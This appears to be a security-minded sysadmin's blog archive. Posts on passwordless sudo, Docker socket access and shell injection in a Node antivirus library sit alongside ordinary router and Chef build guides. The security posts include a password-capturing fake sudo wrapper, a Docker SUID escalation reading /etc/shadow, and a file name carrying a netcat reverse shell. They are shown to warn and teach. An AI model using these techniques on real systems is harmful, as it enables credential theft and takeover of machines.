Author Archives: SaltwaterC

About SaltwaterC

Mr. Sarcasm, Developer, Sysadmin.

Passwordless sudo is security theatre

The tragedy of passwordless sudo

I believe the definition of security theatre says it all: “the practice of taking security measures that are intended to provide the feeling of improved security while doing little or nothing to achieve it”. I believe it’s actually worse than not employing such measures as it gives a false sense of security. There are good reasons why some jobs are better left for professionals.

So, what’s so bad about passwordless sudo? Well, it fails to prevent anything from a security perspective. There’s only one benefit: protection against incompetence i.e a bad command typed without the sudo prefix won’t destroy a system. That’s it. When every process running under that particular user can escalate to root or modify your user’s configuration to inject arbitrary code that can be escalated, the audit trail isn’t worth the bytes for saving auth.log as history can be rewritten. Some form of remote audit would keep an audit trail, but I believe the Venn diagram of the intersection between users of passworless sudo and users of remote audit trail (or even users who read auth.log for a change) is 0 (zero).

Passworless sudo is like a tweet from @ShitUserStory. It’s just root with extra steps, like having a Docker socket around. It is a bad idea no matter how many times this is being recommended.

This security meme stems from a few misunderstandings:

  1. That the root user is a major security risk.
  2. Disabling root somehow fixes that risk.
  3. The sudo alternative is somehow better without assessing its implications of the way it is being used.

To say that as a security professional I’m displeased when I see bad security advice is a bit of an understatement.

All of the operating systems used on the vast majority of the devices have a superuser (typically named “root” on unices/UNIX-like). Yes, even Windows has one: the SYSTEM account. Most people don’t even know it exists. So, branding this as a major security risk is a misnomer as virtually all of the devices around us have one. The risk is an unauthorised use, so this is what security measures need to prevent.

This takes me to the second bit, that disabling the root account somehow fixes the previously perceived risk. A superuser is necessary for specific systems administration tasks, so those privileges are necessary for very specific use cases.

So, the alternatives, which are better when used properly, boil down to use lower permissions most of the time and escalate privileges when necessary. sudo (for unices/UNIX-like) and UAC (for Windows) provide frameworks for unprivileged users to be able to escalate their permissions to run administrative tasks. So far so good.

However, using passwordless sudo whether because it’s convenient (saves the effort for typing passwords) or ignorance (the people who recommend it don’t understand the implications) has the same result: unfettered access to the superuser account.

I’m using the superuser term rather than root user because for unices/UNIX-like is not the name of the account that offers the user these unrestricted privileges, but the user ID (UID). That UID is 0 (zero).

You can rename the root user, albeit some poorly written scripts/applications would fail as they check for the name rather than UID. You can have users with duplicate UID and there are legitimate use cases for that, but this article won’t cover that scope. So, technically, you can have more than one superuser as duplicated UID 0 gives the same permissions to the duplicate UID user.

To wrap up, this is what happens when the UID is eyeballed:

$ id # normal user shell
uid=1000(saltwater) gid=1000(saltwater) groups=1000(saltwater)
# id # root shell
uid=0(root) gid=0(root) groups=0(root)
$ sudo id # normal user shell, invoking sudo
uid=0(root) gid=0(root) groups=0(root)

This is basically the crux of the problem i.e everything following the sudo command is executed as root, so precisely the alleged major security hole that has been closed by disabling the root user has been reintroduced by passwordless sudo. This takes me back to what I said earlier: it’s just root with extra steps and without any password to challenge the user it simply provides unrestricted access to the box.

Unless you’re using something like Vagrant for development purposes, passwordless sudo needs to stop, like yesterday.

Having a password-enabled sudo account isn’t a catch-all though. A weak password for example (which is easily guessed/bruteforced) and remote access via SSH means that the password actually gives complete system access. There’s a reason why typically SSH is used with authentication methods that don’t require the user’s password, such as the most common key-based auth.

Bonus round

The next offender for sudo-enabled accounts is running network services under such account, whether this is passwordless sudo or password protected sudo. This falls outside the scope of the passwordless sudo as any network service running under such an account has the potential for compromising a machine, so the risk factor here is sudo, regardless of how this is being set up. Some configurations are worse than others.

There’s usually a really good idea to run services under an unprivileged account, preferably one for each service that disallows user logins. So, if you installed a piece of software that does this, that machine is subjected to an increased risk of total compromise.

Scenarios if a network service runs under such account and it is affected by an arbitrary remote code execution (RCE) problem:

  1. passwordless sudo – sudo doesn’t require a terminal.
  2. passwordless sudo – sudo requires a terminal.
  3. password-enabled sudo.

The 1st scenario is instant game over. That RCE can run arbitrary code invoked with sudo, so it runs as root. That machine is completely compromised with minimal post-exploitation pivoting (i.e uses sudo to escalate and that’s it). The typical sudo setup for Debian and derivatives (Ubuntu for example) doesn’t require a terminal (TTY or PTY) to invoke sudo.

The 2nd and 3rd scenario requires some post-exploitation patience to escalate to root. The terminal requirement for sudo, which is typical for RHEL and rebuilds/derivatives, prevents sudo from being invoked as in most scenarios an RCE would lack a proper terminal. However, the sudo-enabled accounts are used by systems administrators and the user’s shell can be manipulated. So, having network services under system accounts that don’t use any shells has very good reasoning.

To manipulate the user’s shell, an attacker would need to:

  1. Expand the $PATH variable with an additional path which takes precedence such as PATH=~/.local/bin:$PATH where ~/.local/bin would need to be created if it doesn’t exist. An attacker running with the privileges of the administrator’s account can modify the shell initialisation files (.bashrc/.zshrc/whatever) to inject an updated $PATH.
  2. Have a sudo-wrapping script in that ~/.local/bin $PATH with the right execution privileges.
  3. Wait for the admin to invoke sudo.
  4. …?
  5. Profit.

A PoC script for such purposes:

#!/usr/bin/env bash

# common for Debian and RHEL families
sudo_bin=/usr/bin/sudo

if ! $sudo_bin -n true 2>/dev/null
then
  echo -n "[sudo] password for $(id -nu): "
  read -s password
  echo
  # create sudo session
  echo $password | $sudo_bin -S true >/dev/null 2>&1
fi

# Potential post exploitation actions:
# * Exfiltrate password and system info
# * Fork privileged process and scrub /var/log/auth.log for proof of exploitation
# * Spawn or download and spawn a reverse shell to persist compromise
# * Implode this script and reverse shell changes
# ???
# profit

echo "Under an attacker controlled scenario, this machine would be compromised"

# invoke whatever using actual sudo
$sudo_bin $@

This PoC checks if there’s a sudo session by invoking true. If there isn’t any, it prompts for the password. This covers both the 2nd and 3rd scenarios as passwordless sudo would just invoke true successfully. If there’s a session, then the whole if branch is skipped.

After this, for password-enabled sudo accounts, the password and system info can be easily exfiltrated via a HTTPS request for example, for future use. As soon as sudo has a session, it’s game over as the machine can be totally compromised.

Example:

$ which sudo
/home/saltwater/bin/sudo
$ sudo id
[sudo] password for saltwater: 
Under an attacker controlled scenario, this machine would be compromised
uid=0(root) gid=0(root) groups=0(root)

I’m a security pro and I can tell for sure that I don’t always check the path for sudo or auth.log after every use, so the chances of a layperson catching this kind of attack are pretty much nil.

Having Docker socket access is (probably) not a great idea

So, what’s the fuss about having access to Docker socket? Well, by default, it is pretty insecure. How insecure? Very. This isn’t something new, others wrote about this before, but I’m surprised people are still getting tripped by this as it isn’t properly advertised.

This isn’t an issue with Docker for Mac / Docker for Windows simply because the actual Docker installation runs in a virtual machine. So, at best, you can compromise the VM rather than the developer machine. This is an issue for people who develop under Linux or run Dockers on servers.

The root of the problem (pun intended) is that the root user inside the container is also the root user on the host machine. Docker is supposed to isolate the process, but, the isolation may fail (which, it has, in the past), or the kernel, which is shared, may have a vulnerability (which has happened in the past).

While the shared kernel by itself is unavoidable (after all, this is all the rage about containers), the root user within the container being the root user on the host can be workaround by user namespaces. This has some drawbacks and missing functionality, so Docker being Docker took convenience over security as defaults, violating an important security principle (secure defaults).

The escalation from user to root if that user has access to the Docker socket is pretty much time immemorial in *nix land and it involves setting the SUID bit.

In practical terms:

  1. Start a container with a volume mount from a path controlled by the unprivileged user.
  2. Set SUID for a binary inside the container, a binary which is owned by root. Consequently, that’s the same UID 0 as the root user on the host which is the crux of the matter. That binary needs to be placed into the volume mount path. Some binaries (such as sh or bash on newer distributions) are hardened and they don’t elevate EUID and EGID to 0 despite SUID being set.
  3. Run the binary on the host with the SUID set and the file owned by root.
  4. …?
  5. Profit. Welcome to EUID 0.

Practical example:

vagrant$ docker run -v $(pwd):/target -it ubuntu:14.04 /bin/bash
root@31e0908a67db:/# cp /bin/sh /target/
root@31e0908a67db:/# chmod +s /target/sh
root@31e0908a67db:/# exit
vagrant$ ./sh
# id
uid=1000(vagrant) gid=1000(vagrant) euid=0(root) egid=0(root) groups=0(root),1000(vagrant) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /etc/shadow
[...]
bin::18474:0:99999:7:::
daemon::18474:0:99999:7:::
adm:*:18474:0:99999:7:::
[...]

The example uses an older image as sh is not hardened, but you get the gist. Any binary could do damage e.g a SUID cat or tee can arbitrarily write files with root privileges. With root access inside the container, installing packages from a repository is also possible e.g zsh is not hardened even on newer distributions.

For Linux developers, there’s no Docker for Linux. docker-machine still works to create machines in VirtualBox (or other hypervisors, including remotely on cloud). However, that has an expiration date as boot2docker (which is the backend image for the VirtualBox driver) has been deprecated and it recommends, wait for it, Docker for Desktop (Windows or Mac), or the Linux runtime. Precisely that runtime which is has vulnerable defaults. Triple facepalm.

The reasons for discontinuing boot2docker is the existing alternatives, but those alternatives don’t exist for Linux distributions or they are simply deprecated as well. With others being mainly the same idea of a VM (I even maintained one at some point) or docker-machine still depending on boot2docker, I don’t see any easy fix.

Possible solutions:

  • Dust off my old Docker VM (which I have). I wrote that with performance in mind, but for development purposes. It works cross-platform.
  • Try to build a newer boot2docker release. This may be more complicated as it involves upgrading both Tiny Core Linux and Docker itself, plus a host of VM drivers/additions/tools. For the time being, this seems like too much of a time commitment.

docker-machine supports an alternative release URL for boot2docker (if I’m reading the source code correctly i.e apiURL), so it should work with some effort, but without changing the code in docker-machine. Maintaining boot2docker on the other hand is the bit that looks time consuming which is far more than the 5 minutes to build my Docker VM from scratch.

As I’ve mentioned servers, the main takeaway is simple: don’t give access to the Docker socket for users other than root unless user namespaces are employed, provided this isn’t prevented by a legitimate use case which makes user namespaces noop. Should that be the case, then the Docket socket needs to be restricted to root only, otherwise, the risk of accidental machine compromise is too great as it increases the attack surface by a significant margin.

The file names are input too

Do know know the old saying in the security circles that all input is evil? This has never stopped being true, especially for arbitrary user controlled input.

Few days ago the subject of injection vulnerabilities came up in a presentation at work, including shell injection vulnerabilities. Which reminded me of something from nearly 5 years ago.

I was doing a PoC antivirus using clamscan (i.e the node.js library) and ClamAV. With node’s file notification support, it was rather easy to implement a realtime scanning engine. The thing that was not that easy – getting this ready on time as it was a contractual obligation and the pentester on site had to make sure the customer’s pentesters won’t raise one too many eyebrows.

Needless to say, when writing something under the time pressure, the last thing on a developer’s mind is to audit the libraries used to deliver a piece of functionality. The initial win was short lived as the pentester came with an issue: the files containing special character names are detected as infected, however, they are not removed from the disk. One might have seen a glint in my eyes upon hearing those words.

This has raised an immediate red flag as I suspected the library was crashing, but the crash handler was just returning the default message that a file is infected. Few seconds into reading the source code and the suspected issue was confirmed: the dreaded child_process.exec is handling the user supplied files so there was no doubt that there’s a shell injection vulnerability in there.

Cue arbitrary remote code execution. Within minutes I have had a PoC exploit demonstrating what’s happening if somebody is scanning a file named:

`rm -f f;mkfifo f;cat f|sh -i 2>&1|nc $IP $PORT>f`

Filling $IP and $PORT have been left as exercise for the reader. Any inline reverse shell would work in there – provided it reads a series of shell commands. To quote a classic – would you look at that? Yep, that’s spawning a reverse shell to an attacker controlled machine when the file name is actually executed as shell commands instead of being a rather benign file to be scanned by the AV.

I have shown this to the pentester. Got a strong handshake and something along the lines that they have never seen this whilst doing a customer pentest. I’m guessing the typical customer doesn’t write exploits to pwn their own software, even when the issue is in a 3rd party lib.

The next step was to responsibly send an email explaining the whole thing, then asking the clamscan developer to pull the changes from my fork as the innocent sounding commits do a bit more than what’s left there for the untrained eye i.e the choice for child_process.execFile in place of child_process.exec wasn’t merely a cosmetic change, but a security fix.

I have been using execFile before it was even documented in the user facing docs of node.js. And I know because have done the same mistake with mime-magic, albeit realised the security implications years after it has been patched. That patch was more pragmatic in nature i.e handle particular edge cases which unknowingly has fixed the shell injection vulnerability.

Sadly, the issue reappeared after v1.0 of clamscan has been rebased from another branch which still had the same vulnerability in a different form, so it became another 0-day until very recently. Unfortunately, I have stopped using clamscan for the actual solution as my node.js implementation was just an advanced form of PoC and the development team responsible for that component wrote a proper intake scanner to use the clamd service. So, the whole thing dropped off my radar until being reminded about this class of vulnerabilities.

I’m guessing the second lesson to be learned here is that doing regression testing for past security incidents is pretty much a must, especially if large chunks of code are rewritten. Those big changes may wipe out security fixes.

Using Ubiquiti Edgerouter with G.fast on TalkTalk

TL;DR plug the ethernet cable coming from the modem into a port configured as WAN (i.e has a masquerade rule to the interface in the SNAT section). Have DHCP enabled. That’s it. In fact, it works pretty much with every router.

Now the long version, for the patient who want to go through my ramblings. Like in EE’s case, the documentation is wrong. I spent some time creating a 101 vif for eth0, just to look at the router with a rather frustrated look on my face that it doesn’t work. Got everything done and pointed to eth0.101 – NAT, port forwarding, the firewall policies for WAN, SQM. Then, nothing.

Went ahead and turned on DHCP for the eth0 interface. Within a few moments, I got an address on the interface. Wait, what? Turns out, the whole VLAN 101 thing does not apply for G.fast – sold as Faster 150 Fibre or Faster 300 Fibre.

There was absolutely no PPPoE nor MTU drama. As easy as it gets. Pretty much as it should.

Performance wise, the connection is slower, but it provides more throughput. Not as slow as Virgin Media which have atrocious latency and the buffer bloat is a joke – a really bad one. Not even SQM could save the slow and lossy DOCSIS 3.0, despite acceptable download throughput on VM.

When I say slow, I mean in terms of speed. The vast majority of people are illiterate in networking terms, and the worst offenders keep mentioning that “speed” is measured in “Mbps”. At least every person employed by an ISP should be forced to read this excellent article, which is, wow, around 24 years old now: It’s the Latency, Stupid.

So, to become un-stupid, speed = unit of distance divided by time, whereas throughput = rate of successful message delivery over a communication channel divided by time, typically measured in bits per second in networking. The multiples are used for practical reasons, hence Megabits per second in this century. The fact that they are both functions of time got people confused, then the marketing drones carried on.

In networking terms, knowing the actual speed doesn’t tell you much in fractions of the speed of light (it would be a very abstract number), so the measured latency of a round trip is used instead, but excluding networking adapters induced latency, there’s a relation between latency and the time it takes for the round trip for a given distance of network pipe. So, it is another measure for speed.

Having finally cleared what I mean by speed, let’s talk numbers.

TalkTalk has about 4ms extra latency compared to EE which sat around 7ms. It’s still nearly half of what Virgin Media used to achieve over DOCSIS 3.0, so I can’t complain. The upload throughput is virtually the same, mainly due to SQM – around 28 Mbps. Without SQM EE goes to 29 Mbps and TalkTalk to 30 Mbps (as quoted by the Openreach tier for this service), but the buffer bloat is terrible (for both). The download throughput is where I see most of the difference in terms of performance – 150 Mbps for TalkTalk while EE struggled to get to 142 Mbps, despite their minimum guaranteed being 143.8 Mbps.

I have raised this with EE, but they were like: everything is good on our side, we can send you an engineer. Well, the engineer would have probably billed me for a useless call. The DSL tester used by the engineer who came for the transfer clearly showed 159/30 while the Service ID was still pointing to EE. Therefore, I believe this is all down to that horrible thing called PPPoE.

The reason why I even had an engineer doing the easiest G.fast installation, ever, is that the G.fast service is only offered as managed installation, so they have to show up, test my power socket and my phone line, despite my service actually being online for months. Then, followed by about 3 hours of wait for my service to be transferred to the new ISP.

Building a Chef Omnibus package for Raspbian / Raspberry Pi

There are various guides about how to get Chef on a Raspberry Pi, but none I could find about how to build a proper Chef client package. People used to Omnibus packages (Chef, ChefDK) expect a certain consistency when deploying stuff.

I’m using the pi user for the following script under Raspbian Buster:

sudo apt-get install build-essential git ruby bundler
git clone https://github.com/chef/chef
cd chef
# checkout the desired Chef release tag, for example
git checkout v15.7.32
cd omnibus bundle install --without development --path vendor/bundle
sudo mkdir -p /var/cache/omnibus /opt/chef
sudo chown pi:pi /var/cache/omnibus /opt/chef # if building under the pi user
# git is being bit of a git - use proper values on an actual box, unless it's just
# a build box
git config --global user.email "[email protected]"
git config --global user.name "Your Name"
bundle exec omnibus build chef
# wait for an extreme amount of time...

# check the build results
ls -l pkg
total 32320
-rw-r--r-- 1 root root 33033164 Feb 7 22:07 chef_15.7.32+20200207193316-1_armhf.deb
-rw-r--r-- 1 root root 52348 Feb 7 22:07 chef_15.7.32+20200207193316-1_armhf.deb.metadata.json
-rw-r--r-- 1 root root 6894 Feb 7 22:07 version-manifest.json

dpkg -I pkg/chef_15.7.32+20200207193316-1_armhf.deb
new Debian package, version 2.0.
size 33033164 bytes: control archive=327544 bytes.
298 bytes, 11 lines control
1552093 bytes, 12722 lines md5sums
3190 bytes, 111 lines * postinst #!/bin/sh
1226 bytes, 50 lines * postrm #!/bin/sh
837 bytes, 23 lines * preinst #!/bin/sh
Package: chef
Version: 15.7.32+20200207193316-1
License: Chef EULA
Vendor: Omnibus <[email protected]>
Architecture: armhf
Maintainer: Chef Software, Inc. <[email protected]>
Installed-Size: 121364
Section: misc
Priority: extra
Homepage: https://www.chef.io
Description: The full stack of chef

In fact, other than the pi user, none of the above steps are Raspbian specific. They work on pretty much all Debian-based distributions. With the exception of the apt-get line, all the steps are in fact distribution agnostic, but I had to learn them the hard way.

After a huge amount of wait, behold a chef deb ready to be installed. That amount may be significantly shorter on a Raspberry Pi 3 or 4B as Omnibus makes use of all CPU cores.

Emulating a Raspberry Pi

While this may not be necessary, I don’t always have a Raspberry Pi I can kill (read stress, I never had one fail) with package builds. It was quite the challenge to find the winning combination. While the build benefits from better storage and more RAM, the CPU speed isn’t impressive. However, speed isn’t the purpose. While it’s possible to use this under native qemu, regardless of host OS, I went the VM route to have more predictable results. The macOS qemu is painful to work with anyway.

Vagrant to the rescue:

Vagrant.configure('2') do |config|
  config.vm.box = 'bento/ubuntu-16.04'
  config.vm.box_check_update = true

  config.vm.provider 'virtualbox' do |vb|
    vb.name = 'ubuntu-pi'
    vb.cpus = 4
    vb.memory = 2048
    vb.customize ['modifyvm', :id, '--nictype1', 'virtio']
  end
end

This is a fairly standard Vagrantfile. The vb.customize bit makes sure the network interface uses virtio. I’ve had issues in the past with wobbly performance using the default NIC type.

The actual setup for chroot-ing into a qemu-user-static container is excellently described on the Debian Wiki. The only change was Raspbian Buster which is the current release. I have increased the Raspbian root volume by 4096 MiB.

I have used systemd-nspawn, then after chroot-ing, killed the entry in /etc/ld.so.preload as it spams the shell with messages about failing to load a rather useless library in this setup.

Then, simply use the Raspbian script that I have used on actual Raspberry Pi’s.